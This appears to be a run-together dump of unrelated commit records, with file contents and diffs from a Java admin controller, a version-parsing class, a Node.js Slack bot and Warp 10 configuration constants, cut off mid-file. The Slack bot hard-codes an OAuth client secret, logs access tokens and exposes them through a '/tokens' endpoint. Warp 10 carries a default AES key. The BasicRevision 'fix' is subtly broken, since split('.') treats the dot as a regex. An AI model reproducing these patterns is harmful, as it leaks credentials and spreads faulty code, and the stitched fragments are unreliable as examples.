Page page = findItemsBySpecification( repository, and( scopeSpecification, filterSpecification ), pageSort );
return negotiateResponse( request, page, pageMetadata( page ), listViewFields );
}
Page page = findItemsBySpecification( repository, filterSpecification, pageSort );
return negotiateResponse( request, page, pageMetadata( page ), listViewFields );
}
@Override
@ExceptionHandler( RepositoryConstraintViolationException.class )
@ResponseBody
public ResponseEntity handleValidationFailure( RepositoryConstraintViolationException ex, ServletServerHttpRequest request ) throws IOException {
final Map packet = newHashMap();
final List<Map<String, String>> errors = newArrayList();
for ( FieldError fe : ex.getErrors().getFieldErrors() ) {
List<Object> args = newArrayList( fe.getObjectName(), fe.getField(), fe.getRejectedValue() );
if ( fe.getArguments() != null ) {
Collections.addAll( args, fe.getArguments() );
}
String msg = applicationContext.getMessage( fe.getCode(), args.toArray(), fe.getDefaultMessage(), null );
Map<String, String> error = newHashMap();
error.put( "field", fe.getField() );
error.put( "message", msg );
errors.add( error );
}
packet.put( "errors", errors );
return negotiateResponse( request, HttpStatus.BAD_REQUEST, new HttpHeaders(), packet );
}
@Override
@ExceptionHandler( Exception.class )
@ResponseBody
public ResponseEntity handleMiscFailures( Throwable t, ServletServerHttpRequest request ) throws IOException {
LOG.debug( "Handled exception", t );
Map<String, String> error = singletonMap( "message", t.getLocalizedMessage() );
Map packet = newHashMap();
packet.put( "errors", asList( error ) );
return negotiateResponse( request, HttpStatus.BAD_REQUEST, new HttpHeaders(), packet );
}
@Override
@ExceptionHandler( {HttpMessageNotReadableException.class, HttpMessageNotWritableException.class} )
@ResponseBody
public ResponseEntity handleMessageConversionFailure( Exception ex, HttpServletRequest request ) throws IOException {
LOG.error( "Handled exception", ex );
return handleMiscFailures( ex.getCause(), new ServletServerHttpRequest( request ) );
}
private Set<FieldMetadata> fields( String configurationUnit, DomainTypeAdministrationConfiguration domainTypeAdministrationConfiguration ) {
final DomainConfigurationUnitType configurationUnitType = DomainConfigurationUnitType.forName( configurationUnit );
switch ( configurationUnitType ) {
case SHOW_VIEW:
return domainTypeAdministrationConfiguration.getShowViewFragment().getFields();
case FORM_VIEW:
return domainTypeAdministrationConfiguration.getFormViewFragment().getFields();
case QUICK_VIEW:
return domainTypeAdministrationConfiguration.getQuickViewFragment().getFields();
default:
return domainTypeAdministrationConfiguration.getShowViewFragment().getFields();
}
}
private long countItemsBySpecificationAndPredicate( DynamicJpaRepository repository, final Specification specification, Predicate predicate ) {
final List<?> items = findItemsBySpecification( repository, specification );
return Collections2.filter( items, predicate ).size();
}
private long countItemsBySpecification( final DynamicJpaRepository repository, final Specification specification ) {
return repository.count( specification );
}
private Page findBySpecificationAndPredicate( DynamicJpaRepository repository, final Specification specification, Predicate predicate, final PagingAndSorting pageSort ) {
final List<?> items = findItemsBySpecification( repository, specification, pageSort.getSort() );
return selectPage( newArrayList( Collections2.filter( items, predicate ) ), pageSort );
}
private Page<?> findItemsBySpecification( final DynamicJpaRepository repository, final Specification specification, final PagingAndSorting pageSort ) {
return repository.findAll( specification, pageSort );
}
private List<?> findItemsBySpecification( final DynamicJpaRepository repository, final Specification specification, final Sort sort ) {
return repository.findAll( specification, sort );
}
private List<?> findItemsBySpecification( final DynamicJpaRepository repository, final Specification specification ) {
return repository.findAll( specification );
}
private Page<?> selectPage( List<Object> items, PagingAndSorting pageSort ) {
final List<Object> itemsOnPage = items.subList( pageSort.getOffset(), Math.min( items.size(), pageSort.getOffset() + pageSort.getPageSize() ) );
return new PageImpl<Object>( itemsOnPage, pageSort, items.size() );
}
private Specification and( Specification specification, Specification otherSpecification ) {
return Specifications.where( specification ).and( otherSpecification );
}
private Specification specificationFromRequest( ServletServerHttpRequest request, final DomainTypeEntityMetadata<? extends DomainTypeAttributeMetadata> entityMetadata ) {
final Map<String, String[]> parameters = request.getServletRequest().getParameterMap();
return specificationCreator.toSpecification( entityMetadata, parameters );
}
private ResponseEntity<?> negotiateResponse( ServletServerHttpRequest request, Page page, PagedResources.PageMetadata pageMetadata, Set<FieldMetadata> fieldMetadatas ) throws IOException {
return negotiateResponse( request, HttpStatus.OK, new HttpHeaders(), new PagedResources( toResources( page, fieldMetadatas ), pageMetadata, Lists.<Link>newArrayList() ) );
}
private PagedResources.PageMetadata pageMetadata( final Page page ) {
return new PagedResources.PageMetadata( page.getSize(), page.getNumber() + 1, page.getTotalElements(), page.getTotalPages() );
}
private List<Object> toResources( Page page, Set<FieldMetadata> fieldMetadatas ) {
if ( !page.hasContent() ) {
return newLinkedList();
}
List<Object> allResources = newArrayList();
for ( final Object item : page ) {
allResources.add( new DomainTypeResource( item, fieldMetadatas ) );
}
return allResources;
}
private ResponseEntity<String> responseEntity( Object value ) {
return new ResponseEntity<String>( String.valueOf( value ), new HttpHeaders(), HttpStatus.OK );
}
@Override
@Autowired
public void setGlobalAdministrationConfiguration( final GlobalAdministrationConfiguration configuration ) {
this.configuration = configuration;
}
@Override
public void setApplicationContext( ApplicationContext applicationContext ) throws BeansException {
super.setApplicationContext( applicationContext );
this.applicationContext = applicationContext;
}
}
| #70 Image fields support: Improved scaling performance and MediaType identification
| lightadmin-core/src/main/java/org/lightadmin/core/rest/DynamicRepositoryRestController.java | #70 Image fields support: Improved scaling performance and MediaType identification | <ide><path>ightadmin-core/src/main/java/org/lightadmin/core/rest/DynamicRepositoryRestController.java
<ide> final byte[] bytes = ( byte[] ) attrMeta.get( entity );
<ide> if ( bytes != null ) {
<ide> final MediaType mediaType = getMediaType( bytes );
<del> if ( !mediaType.getSubtype().equals( "gif" ) && imageResizingRequired( width, height ) ) {
<add> if ( imageResizingRequired( width, height ) ) {
<ide> BufferedImage sourceImage = ImageIO.read( new ByteArrayInputStream( bytes ) );
<ide> BufferedImage image = resizeImage( sourceImage, width, height );
<ide> |
|
Java | mit | cb1604033f209afd0f849a678e7e38891ad7e215 | 0 | markovandooren/rejuse,markovandooren/rejuse | package org.rejuse.junit;
public class BasicRevision extends AbstractRevision {
public BasicRevision(String text) {
int nbElements = 1;
String[] parts = text.split(".");
_numbers = new int[parts.length];
for(int i = 0; i< nbElements; i++) {
_numbers[i] = Integer.parseInt(parts[i]);
}
}
public BasicRevision(int... version) {
_numbers = new int[version.length];
for(int i = 0; i< version.length; i++) {
_numbers[i] = version[i];
}
}
@Override
public int getNumber(int baseOneIndex) {
return _numbers[baseOneIndex-1];
}
@Override
public int length() {
return _numbers.length;
}
private int[] _numbers;
}
| src/org/rejuse/junit/BasicRevision.java | package org.rejuse.junit;
public class BasicRevision extends AbstractRevision {
public BasicRevision(String text) {
int index = 0;
int nbElements = 1;
while(index >= 0) {
index = text.indexOf(".",index);
nbElements++;
}
_numbers = new int[nbElements];
index=0;
for(int i = 0; i< nbElements; i++) {
int endIndex = text.indexOf(".", index+1);
_numbers[i] = Integer.parseInt(text.substring(index, endIndex));
}
}
public BasicRevision(int... version) {
_numbers = new int[version.length];
for(int i = 0; i< version.length; i++) {
_numbers[i] = version[i];
}
}
@Override
public int getNumber(int baseOneIndex) {
return _numbers[baseOneIndex-1];
}
@Override
public int length() {
return _numbers.length;
}
private int[] _numbers;
}
| fixed reparsing in the editor and finished new project wizard
| src/org/rejuse/junit/BasicRevision.java | fixed reparsing in the editor and finished new project wizard | <ide><path>rc/org/rejuse/junit/BasicRevision.java
<ide> public class BasicRevision extends AbstractRevision {
<ide>
<ide> public BasicRevision(String text) {
<del> int index = 0;
<ide> int nbElements = 1;
<del> while(index >= 0) {
<del> index = text.indexOf(".",index);
<del> nbElements++;
<del> }
<del> _numbers = new int[nbElements];
<del> index=0;
<add> String[] parts = text.split(".");
<add> _numbers = new int[parts.length];
<ide> for(int i = 0; i< nbElements; i++) {
<del> int endIndex = text.indexOf(".", index+1);
<del> _numbers[i] = Integer.parseInt(text.substring(index, endIndex));
<add> _numbers[i] = Integer.parseInt(parts[i]);
<ide> }
<ide> }
<ide> |
|
JavaScript | mit | d7f9ea619f4f20fb324dc491a9220139ec52fcf0 | 0 | moralez/call-me-maybe | var http = require('http');
var fs = require("fs");
var redis = require("redis");
var client = redis.createClient('11040', process.env.REDISTOGO_URL);
var requestHelper = require('request');
var express = require('express');
var app = express();
var url = require('url');
var express = require("express");
var bodyParser = require("body-parser");
var app = express();
var ACCESS_TOKEN = client.get("ACCESS_TOKEN", function(err, reply) {
// reply is null when the key is missing
console.log(reply);
});
console.log("ACCESS_TOKEN Set: " + ACCESS_TOKEN);
var BOT_ACCESS_TOKEN = client.get("BOT_ACCESS_TOKEN", function(err, reply) {
// reply is null when the key is missing
console.log(reply);
});
console.log("BOT_ACCESS_TOKEN Set: " + BOT_ACCESS_TOKEN);
client.on('connect', function() {
console.log('connected');
client.get('ACCESS_TOKEN', function(res) {
console.log(res.toString()); // => should be crazy token
});
client.get('BOT_ACCESS_TOKEN', function(res) {
console.log(res.toString()); // => should be crazy token
});
});
//Here we are configuring express to use body-parser as middle-ware.
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.set('port', (process.env.PORT || 5000));
app.use(express.static(__dirname + '/public'));
// views is directory for all template files
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.get('/', function(request, response) {
response.render('pages/index');
});
app.get('/auth', function(request, response) {
var url_parts = url.parse(request.url, true);
if (request.query.code) {
getKey(request.query.code)
}
response.render('pages/index');
});
app.listen(app.get('port'), function() {
console.log('Node app is running on port', app.get('port'));
});
function getKey(code) {
var headers = {
'User-Agent': 'Super Agent/0.0.1',
'Content-Type': 'application/x-www-form-urlencoded'
}
var options = {
method: 'GET',
url: 'https://slack.com/api/oauth.access',
headers: headers,
qs: {
'client_id': '24999931810.25003305249',
'client_secret': '2ef373aad7fac39fdb54aceeae307039',
'code': code,
'redirect_uri': 'https://call-me-maybe-rp.herokuapp.com/auth'
}
}
requestHelper(options, function (error, response, body) {
if (!error && response.statusCode == 200) {
// Print out the response body
console.log("Body: " + body);
var bodyJson = JSON.parse(body)
if (bodyJson.hasOwnProperty("error")) {
console.log("Beth is breaking stuff again....");
} else {
console.log("No worries, Johnny fixed it!");
console.log("BodyJSON Tokens " + JSON.stringify(bodyJson));
ACCESS_TOKEN = bodyJson.access_token;
BOT_ACCESS_TOKEN = bodyJson.bot.bot_access_token;
console.log("AFTER - ACCESS_TOKEN: " + ACCESS_TOKEN + " " + "\nBOT_ACCESS_TOKEN: " + BOT_ACCESS_TOKEN)
client.set("ACCESS_TOKEN", ACCESS_TOKEN, redis.print);
client.set("BOT_ACCESS_TOKEN", BOT_ACCESS_TOKEN, redis.print);
}
console.log("Response: " + response);
}
})
}
// app.get('/test', function(req, res) {
// var properties = { "default": "this is a default key" };
// console.log("Query Strings: ", req.query)
// for (var property in req.query) {
// console.log("Processing ", property);
// if (req.query.hasOwnProperty(property)) {
// // do stuff
// console.log("Adding ", property);
// properties[property] = req.query[property];
// } else {
// console.log("Skipping ", property);
// }
// }
//
// res.json(properties);
// });
app.get('/tokens', function(req, res) {
var tokenString = "";
client.get('ACCESS_TOKEN', function(res) {
tokenString += res.toString();
console.log(res.toString()); // => should be crazy token
client.get('BOT_ACCESS_TOKEN', function(res) {
tokenString += " " + res.toString();
console.log(res.toString()); // => should be crazy token
res.end("Result: " + tokenString);
});
});
})
app.post('/checkins', function(req, res) {
// someone run /checkins
// this grabs the channel message was sent from
// gets list of users in the channel
// gets the recent chat history from 7 AM to 11 AM
// checks for messages from those users in that time frame
// returns lists of who has checked in and who has not
// console.log("Request Body: " + JSON.stringify(req.body));
// var requestBody = JSON.parse(req.body);
// var channelsToCheck = [];
// var userGroupObject = { token:ACCESS_TOKEN };
// request({url:"https://slack.com/api/usergroups.list", qs:userGroupObject}, function(err, response, body) {
// var convertedBody = JSON.parse(body);
// console.log("converted body: " + JSON.stringify(convertedBody));
// console.log("usergroups: " + JSON.stringify(convertedBody["usergroups"]));
// var usergroups = convertedBody["usergroups"];
// for (var i = 0; i < usergroups.length; i++) {
// var group = usergroups[i];
// console.log("Comparing " + req.body.text + " to " + group["handle"]);
// if (req.body.text == group.handle) {
// channelsToCheck = group.prefs.channels;
// console.log("The magic ID is: " + group.id);
// var blah = { token:ACCESS_TOKEN, usergroup:group.id };
// request({url:"https://slack.com/api/usergroups.users.list", qs:blah}, function(err, response, body) {
// var users = JSON.parse(body)["users"];
// var checkedInUsers = [];
// for (var i = 0; i < channelsToCheck.length; i++) {
// var channelHistoryParams = { token:ACCESS_TOKEN, channel:channelsToCheck[i] };
// request({url:"https://slack.com/api/channels.history", qs:channelHistoryParams}, function(err, response, body) {
// var messages = JSON.parse(body)["messages"];
// for (var message in messages) {
// var userId = message.user;
// if (checkedInUsers.indexOf(userId) == -1) {
// checkedInUsers.push(userId);
// }
// }
// });
// }
// res.end("Checked in users: " + checkedInUsers.toString());
// });
// }
// }
// });
});
app.post('/roulette',function(req,res){
var request=JSON.stringify(req.body);
console.log("request = "+request);
var request = require('request');
var userGroupObject = { token:ACCESS_TOKEN };
request({url:"https://slack.com/api/usergroups.list", qs:userGroupObject}, function(err, response, body) {
var convertedBody = JSON.parse(body);
console.log("converted body: " + JSON.stringify(convertedBody));
console.log("usergroups: " + JSON.stringify(convertedBody["usergroups"]));
var usergroups = convertedBody["usergroups"];
for (var i = 0; i < usergroups.length; i++) {
var group = usergroups[i];
console.log("Comparing " + req.body.text + " to " + group["handle"]);
if (req.body.text == group.handle) {
console.log("The magic ID is: " + group.id);
var blah = { token:ACCESS_TOKEN, usergroup:group.id };
request({url:"https://slack.com/api/usergroups.users.list", qs:blah}, function(err, response, body) {
var users = JSON.parse(body)["users"];
var rand = users[Math.floor(Math.random() * users.length)];
console.log("random Member id: ", rand);
var userInfo = { token:ACCESS_TOKEN, user:rand };
request({url:"https://slack.com/api/users.info", qs:userInfo}, function(err, response, body) {
var user = JSON.parse(body)["user"];
var userName = user["name"];
console.log("User Name: ", userName);
var postMessageParams = { token:BOT_ACCESS_TOKEN, channel:req.body.channel_id, text: "Bang! " + userName + " has been chosen", as_user: true };
request({url:"https://slack.com/api/chat.postMessage", qs:postMessageParams}, function(err, response, body) {
console.log("Finished sending postMessage");
res.end();
});
});
});
} else {
console.log("You suck!");
if (req.body.text == "") {
res.end("Please enter the roulette slash command via /roulette slackUserGroupName");
} else {
res.end(req.body.text + " does not appear to be a valid usergroup.")
}
}
}
})
});
| index.js | var http = require('http');
var fs = require("fs");
var redis = require("redis");
var client = redis.createClient('11040');
var requestHelper = require('request');
var express = require('express');
var app = express();
var url = require('url');
var express = require("express");
var bodyParser = require("body-parser");
var app = express();
var ACCESS_TOKEN = client.get("ACCESS_TOKEN", function(err, reply) {
// reply is null when the key is missing
console.log(reply);
});
console.log("ACCESS_TOKEN Set: " + ACCESS_TOKEN);
var BOT_ACCESS_TOKEN = client.get("BOT_ACCESS_TOKEN", function(err, reply) {
// reply is null when the key is missing
console.log(reply);
});
console.log("BOT_ACCESS_TOKEN Set: " + BOT_ACCESS_TOKEN);
client.on('connect', function() {
console.log('connected');
client.get('ACCESS_TOKEN', function(res) {
console.log(res.toString()); // => should be crazy token
});
client.get('BOT_ACCESS_TOKEN', function(res) {
console.log(res.toString()); // => should be crazy token
});
});
//Here we are configuring express to use body-parser as middle-ware.
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.set('port', (process.env.PORT || 5000));
app.use(express.static(__dirname + '/public'));
// views is directory for all template files
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.get('/', function(request, response) {
response.render('pages/index');
});
app.get('/auth', function(request, response) {
var url_parts = url.parse(request.url, true);
if (request.query.code) {
getKey(request.query.code)
}
response.render('pages/index');
});
app.listen(app.get('port'), function() {
console.log('Node app is running on port', app.get('port'));
});
function getKey(code) {
var headers = {
'User-Agent': 'Super Agent/0.0.1',
'Content-Type': 'application/x-www-form-urlencoded'
}
var options = {
method: 'GET',
url: 'https://slack.com/api/oauth.access',
headers: headers,
qs: {
'client_id': '24999931810.25003305249',
'client_secret': '2ef373aad7fac39fdb54aceeae307039',
'code': code,
'redirect_uri': 'https://call-me-maybe-rp.herokuapp.com/auth'
}
}
requestHelper(options, function (error, response, body) {
if (!error && response.statusCode == 200) {
// Print out the response body
console.log("Body: " + body);
var bodyJson = JSON.parse(body)
if (bodyJson.hasOwnProperty("error")) {
console.log("Beth is breaking stuff again....");
} else {
console.log("No worries, Johnny fixed it!");
console.log("BodyJSON Tokens " + JSON.stringify(bodyJson));
ACCESS_TOKEN = bodyJson.access_token;
BOT_ACCESS_TOKEN = bodyJson.bot.bot_access_token;
console.log("AFTER - ACCESS_TOKEN: " + ACCESS_TOKEN + " " + "\nBOT_ACCESS_TOKEN: " + BOT_ACCESS_TOKEN)
client.set("ACCESS_TOKEN", ACCESS_TOKEN, redis.print);
client.set("BOT_ACCESS_TOKEN", BOT_ACCESS_TOKEN, redis.print);
}
console.log("Response: " + response);
}
})
}
// app.get('/test', function(req, res) {
// var properties = { "default": "this is a default key" };
// console.log("Query Strings: ", req.query)
// for (var property in req.query) {
// console.log("Processing ", property);
// if (req.query.hasOwnProperty(property)) {
// // do stuff
// console.log("Adding ", property);
// properties[property] = req.query[property];
// } else {
// console.log("Skipping ", property);
// }
// }
//
// res.json(properties);
// });
app.get('/tokens', function(req, res) {
var tokenString = "";
client.get('ACCESS_TOKEN', function(res) {
tokenString += res.toString();
console.log(res.toString()); // => should be crazy token
client.get('BOT_ACCESS_TOKEN', function(res) {
tokenString += " " + res.toString();
console.log(res.toString()); // => should be crazy token
res.end("Result: " + tokenString);
});
});
})
app.post('/checkins', function(req, res) {
// someone run /checkins
// this grabs the channel message was sent from
// gets list of users in the channel
// gets the recent chat history from 7 AM to 11 AM
// checks for messages from those users in that time frame
// returns lists of who has checked in and who has not
// console.log("Request Body: " + JSON.stringify(req.body));
// var requestBody = JSON.parse(req.body);
// var channelsToCheck = [];
// var userGroupObject = { token:ACCESS_TOKEN };
// request({url:"https://slack.com/api/usergroups.list", qs:userGroupObject}, function(err, response, body) {
// var convertedBody = JSON.parse(body);
// console.log("converted body: " + JSON.stringify(convertedBody));
// console.log("usergroups: " + JSON.stringify(convertedBody["usergroups"]));
// var usergroups = convertedBody["usergroups"];
// for (var i = 0; i < usergroups.length; i++) {
// var group = usergroups[i];
// console.log("Comparing " + req.body.text + " to " + group["handle"]);
// if (req.body.text == group.handle) {
// channelsToCheck = group.prefs.channels;
// console.log("The magic ID is: " + group.id);
// var blah = { token:ACCESS_TOKEN, usergroup:group.id };
// request({url:"https://slack.com/api/usergroups.users.list", qs:blah}, function(err, response, body) {
// var users = JSON.parse(body)["users"];
// var checkedInUsers = [];
// for (var i = 0; i < channelsToCheck.length; i++) {
// var channelHistoryParams = { token:ACCESS_TOKEN, channel:channelsToCheck[i] };
// request({url:"https://slack.com/api/channels.history", qs:channelHistoryParams}, function(err, response, body) {
// var messages = JSON.parse(body)["messages"];
// for (var message in messages) {
// var userId = message.user;
// if (checkedInUsers.indexOf(userId) == -1) {
// checkedInUsers.push(userId);
// }
// }
// });
// }
// res.end("Checked in users: " + checkedInUsers.toString());
// });
// }
// }
// });
});
app.post('/roulette',function(req,res){
var request=JSON.stringify(req.body);
console.log("request = "+request);
var request = require('request');
var userGroupObject = { token:ACCESS_TOKEN };
request({url:"https://slack.com/api/usergroups.list", qs:userGroupObject}, function(err, response, body) {
var convertedBody = JSON.parse(body);
console.log("converted body: " + JSON.stringify(convertedBody));
console.log("usergroups: " + JSON.stringify(convertedBody["usergroups"]));
var usergroups = convertedBody["usergroups"];
for (var i = 0; i < usergroups.length; i++) {
var group = usergroups[i];
console.log("Comparing " + req.body.text + " to " + group["handle"]);
if (req.body.text == group.handle) {
console.log("The magic ID is: " + group.id);
var blah = { token:ACCESS_TOKEN, usergroup:group.id };
request({url:"https://slack.com/api/usergroups.users.list", qs:blah}, function(err, response, body) {
var users = JSON.parse(body)["users"];
var rand = users[Math.floor(Math.random() * users.length)];
console.log("random Member id: ", rand);
var userInfo = { token:ACCESS_TOKEN, user:rand };
request({url:"https://slack.com/api/users.info", qs:userInfo}, function(err, response, body) {
var user = JSON.parse(body)["user"];
var userName = user["name"];
console.log("User Name: ", userName);
var postMessageParams = { token:BOT_ACCESS_TOKEN, channel:req.body.channel_id, text: "Bang! " + userName + " has been chosen", as_user: true };
request({url:"https://slack.com/api/chat.postMessage", qs:postMessageParams}, function(err, response, body) {
console.log("Finished sending postMessage");
res.end();
});
});
});
} else {
console.log("You suck!");
if (req.body.text == "") {
res.end("Please enter the roulette slash command via /roulette slackUserGroupName");
} else {
res.end(req.body.text + " does not appear to be a valid usergroup.")
}
}
}
})
});
| redis implementation
| index.js | redis implementation | <ide><path>ndex.js
<ide> var http = require('http');
<ide> var fs = require("fs");
<ide> var redis = require("redis");
<del>var client = redis.createClient('11040');
<add>var client = redis.createClient('11040', process.env.REDISTOGO_URL);
<ide>
<ide>
<ide> var requestHelper = require('request'); |
|
Java | apache-2.0 | 2a70031aa23adbf764095a0624d56000009deced | 0 | cityzendata/warp10-platform,StevenLeRoux/warp10-platform,StevenLeRoux/warp10-platform,hbs/warp10-platform,StevenLeRoux/warp10-platform,hbs/warp10-platform,cityzendata/warp10-platform,cityzendata/warp10-platform,hbs/warp10-platform,hbs/warp10-platform,StevenLeRoux/warp10-platform,cityzendata/warp10-platform | //
// Copyright 2016 Cityzen Data
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
package io.warp10.continuum;
public class Configuration {
public static final String OSS_MASTER_KEY = "oss.master.key";
public static final String WARP_COMPONENTS = "warp.components";
public static final String WARP_TOKEN_FILE = "warp.token.file";
public static final String WARP_HASH_CLASS = "warp.hash.class";
public static final String WARP_HASH_LABELS = "warp.hash.labels";
public static final String CONTINUUM_HASH_INDEX = "warp.hash.index";
public static final String WARP_HASH_TOKEN = "warp.hash.token";
public static final String WARP_HASH_APP = "warp.hash.app";
public static final String WARP_AES_TOKEN = "warp.aes.token";
public static final String WARP_AES_SCRIPTS = "warp.aes.scripts";
public static final String WARP_AES_METASETS = "warp.aes.metasets";
public static final String WARP_AES_LOGGING = "warp.aes.logging";
public static final String WARP_DEFAULT_AES_LOGGING = "hex:3cf5cee9eadddba796f2cce0762f308ad9df36f4883841e167dab2889bcf215b";
public static final String WARP_IDENT = "warp.ident";
public static final String WARP10_QUIET = "warp10.quiet";
/**
* Comma separated list of headers to return in the Access-Allow-Control-Headers response header to preflight requests.
*/
public static final String CORS_HEADERS = "cors.headers";
/**
* List of Warp 10 plugins to initialize
*/
public static final String WARP10_PLUGINS = "warp10.plugins";
/**
* Prefix for plugin declaration
*/
public static final String WARP10_PLUGIN_PREFIX = "warp10.plugin.";
/**
* Maximum number of subscriptions per plasma connection
*/
public static final String WARP_PLASMA_MAXSUBS = "warp.plasma.maxsubs";
/**
* Maximum encoder size (in bytes) for internal data transfers. Use values from 64k to 512k for
* optimum performance and make sure this size is less than the maximum message size of Kafka
* otherwise bad things will happen as messages may not be able to be exchanged within Warp 10.
*/
public static final String MAX_ENCODER_SIZE = "max.encoder.size";
/**
* How often (in ms) should we refetch the region start/end keys
*/
public static final String WARP_HBASE_REGIONKEYS_UPDATEPERIOD = "warp.hbase.regionkeys.updateperiod";
/**
* Comma separated list of additional languages to support within WarpScript
* This MUST be set as a system property
*/
public static final String CONFIG_WARPSCRIPT_LANGUAGES = "warpscript.languages";
/**
* Comma separated list of WarpScriptExtension classes to instantiate to modify
* the defined WarpScript functions.
*/
public static final String CONFIG_WARPSCRIPT_EXTENSIONS = "warpscript.extensions";
/**
* Prefix for properties which define WarpScript extensions
*/
public static final String CONFIG_WARPSCRIPT_EXTENSION_PREFIX = "warpscript.extension.";
/**
* Prefix for properties which define WarpScript extension namespaces.
*/
public static final String CONFIG_WARPSCRIPT_NAMESPACE_PREFIX = "warpscript.namespace.";
/**
* This configuration parameter determines if undefining a function (via NULL 'XXX' DEF)
* will unshadow the original statement thus making it available again or if it will replace
* it with a function that will fail with a message saying the function is undefined.
* The safest behavior is to leave this undefined or set to 'false'.
*/
public static final String WARPSCRIPT_DEF_UNSHADOW = "warpscript.def.unshadow";
public static final String WARPSCRIPT_MAX_OPS = "warpscript.maxops";
public static final String WARPSCRIPT_MAX_BUCKETS = "warpscript.maxbuckets";
public static final String WARPSCRIPT_MAX_GEOCELLS = "warpscript.maxgeocells";
public static final String WARPSCRIPT_MAX_DEPTH = "warpscript.maxdepth";
public static final String WARPSCRIPT_MAX_FETCH = "warpscript.maxfetch";
public static final String WARPSCRIPT_MAX_GTS = "warpscript.maxgts";
public static final String WARPSCRIPT_MAX_LOOP_DURATION = "warpscript.maxloop";
public static final String WARPSCRIPT_MAX_RECURSION = "warpscript.maxrecursion";
public static final String WARPSCRIPT_MAX_SYMBOLS = "warpscript.maxsymbols";
public static final String WARPSCRIPT_MAX_WEBCALLS = "warpscript.maxwebcalls";
public static final String WARPSCRIPT_MAX_PIXELS = "warpscript.maxpixels";
public static final String WARPSCRIPT_URLFETCH_LIMIT = "warpscript.urlfetch.limit";
public static final String WARPSCRIPT_URLFETCH_MAXSIZE = "warpscript.urlfetch.maxsize";
// Hard limits for the above limits which can be changed via a function call
public static final String WARPSCRIPT_MAX_OPS_HARD = "warpscript.maxops.hard";
public static final String WARPSCRIPT_MAX_BUCKETS_HARD = "warpscript.maxbuckets.hard";
public static final String WARPSCRIPT_MAX_GEOCELLS_HARD = "warpscript.maxgeocells.hard";
public static final String WARPSCRIPT_MAX_DEPTH_HARD = "warpscript.maxdepth.hard";
public static final String WARPSCRIPT_MAX_FETCH_HARD = "warpscript.maxfetch.hard";
public static final String WARPSCRIPT_MAX_GTS_HARD = "warpscript.maxgts.hard";
public static final String WARPSCRIPT_MAX_LOOP_DURATION_HARD = "warpscript.maxloop.hard";
public static final String WARPSCRIPT_MAX_RECURSION_HARD = "warpscript.maxrecursion.hard";
public static final String WARPSCRIPT_MAX_SYMBOLS_HARD = "warpscript.maxsymbols.hard";
public static final String WARPSCRIPT_MAX_PIXELS_HARD = "warpscript.maxpixels.hard";
public static final String WARPSCRIPT_URLFETCH_LIMIT_HARD = "warpscript.urlfetch.limit.hard";
public static final String WARPSCRIPT_URLFETCH_MAXSIZE_HARD = "warpscript.urlfetch.maxsize.hard";
/**
* Flag to enable REXEC
*/
public static final String WARPSCRIPT_REXEC_ENABLE = "warpscript.rexec.enable";
public static final String WEBCALL_USER_AGENT = "webcall.user.agent";
/**
* List of patterns to include/exclude for hosts in WebCall calls
*
* Typical value is .*,!^127.0.0.1$,!^localhost$,!^192.168.*,!^10.*,!^172.(16|17|18|19|20|21|22|23|24|25|26|27|28|29|39|31)\..*
*
*/
public static final String WEBCALL_HOST_PATTERNS = "webcall.host.patterns";
/**
* ZK Quorum to use for reaching the Kafka cluster to consume WebCall requests
*/
public static final String WEBCALL_KAFKA_ZKCONNECT = "webcall.kafka.zkconnect";
/**
* List of Kafka brokers to use for sending WebCall requests
*/
public static final String WEBCALL_KAFKA_BROKERLIST = "webcall.kafka.brokerlist";
/**
* Topic to use for WebCall requests
*/
public static final String WEBCALL_KAFKA_TOPIC = "webcall.kafka.topic";
/**
* AES key to use for encrypting WebCall requests
*/
public static final String WEBCALL_KAFKA_AES = "webcall.kafka.aes";
/**
* SipHash key to use for computing WebCall requests HMACs
*/
public static final String WEBCALL_KAFKA_MAC = "webcall.kafka.mac";
/**
* Kafka client id to use when consuming WebCall requests
*/
public static final String WEBCALL_KAFKA_CONSUMER_CLIENTID = "webcall.kafka.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String WEBCALL_KAFKA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "webcall.kafka.consumer.partition.assignment.strategy";
/**
* Kafka client id to use when producing WebCall requests
*/
public static final String WEBCALL_KAFKA_PRODUCER_CLIENTID = "webcall.kafka.producer.clientid";
/**
* How many threads to spawn
*/
public static final String WEBCALL_NTHREADS = "webcall.nthreads";
/**
* Groupid to use when consuming Kafka
*/
public static final String WEBCALL_KAFKA_GROUPID = "webcall.kafka.groupid";
/**
* How often to commit the Kafka offsets
*/
public static final String WEBCALL_KAFKA_COMMITPERIOD = "webcall.kafka.commitperiod";
/**
* Number of continuum time units per millisecond
* 1000000 means we store nanoseconds
* 1000 means we store microseconds
* 1 means we store milliseconds
* 0.001 means we store seconds (N/A since we use a long for the constant)
*/
public static final String WARP_TIME_UNITS = "warp.timeunits";
/**
* Path of the 'bootstrap' Einstein code for Egress
*/
public static final String CONFIG_WARPSCRIPT_BOOTSTRAP_PATH = "warpscript.bootstrap.path";
/**
* How often to reload the bootstrap code (in ms) for Egress
*/
public static final String CONFIG_WARPSCRIPT_BOOTSTRAP_PERIOD = "warpscript.bootstrap.period";
/**
* Path of the 'bootstrap' Einstein code for Mobius
*/
public static final String CONFIG_WARPSCRIPT_MOBIUS_BOOTSTRAP_PATH = "warpscript.mobius.bootstrap.path";
/**
* Number of threads in the Mobius pool
*/
public static final String CONFIG_WARPSCRIPT_MOBIUS_POOL = "warpscript.mobius.pool";
/**
* How often to reload the bootstrap code (in ms) for Mobius
*/
public static final String CONFIG_WARPSCRIPT_MOBIUS_BOOTSTRAP_PERIOD = "warpscript.mobius.bootstrap.period";
/**
* Path of the 'bootstrap' Einstein code for Runner
*/
public static final String CONFIG_WARPSCRIPT_RUNNER_BOOTSTRAP_PATH = "warpscript.runner.bootstrap.path";
/**
* How often to reload the bootstrap code (in ms) for Mobius
*/
